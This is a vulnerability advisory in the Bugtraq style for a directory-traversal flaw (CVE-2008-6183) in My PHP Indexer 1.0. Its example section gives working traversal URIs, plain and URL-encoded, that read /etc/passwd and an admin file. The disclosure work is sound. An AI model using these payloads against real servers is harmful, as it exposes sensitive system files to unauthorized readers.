My PHP Indexer 'index.php' Directory Traversal Vulnerability

Bugtraq ID:	31726
Class:	Input Validation Error
CVE:	CVE-2008-6183
Remote:	Yes
Local:	No
Published:	Oct 12 2008 12:00AM
Updated:	Apr 16 2015 05:52PM
Credit:	JosS
Vulnerable:	My PHP Indexer My PHP Indexer 1.0
Not Vulnerable:

My PHP Indexer 'index.php' Directory Traversal Vulnerability

My PHP Indexer is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

My PHP Indexer 1.0 is vulnerable; other versions may also be affected.

My PHP Indexer 'index.php' Directory Traversal Vulnerability

An attacker can exploit this issue with a browser.

The following example URIs are available:

http://www.example.com/index.php?d=[DIR]&f=[FILE]
http://www.example.com/index.php?d=../../../../../../../../../../../etc/&f=passwd
http://www.example.com/index.php?d=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/&f=passwd
http://www.example.com/resources/admin/index.php?d=%2e%2e%2f%2e%2e%2f%2e%2e%2f&f=index.php

My PHP Indexer 'index.php' Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

My PHP Indexer 'index.php' Directory Traversal Vulnerability

References:

• My PHP Indexer Project Page (My PHP Indexer)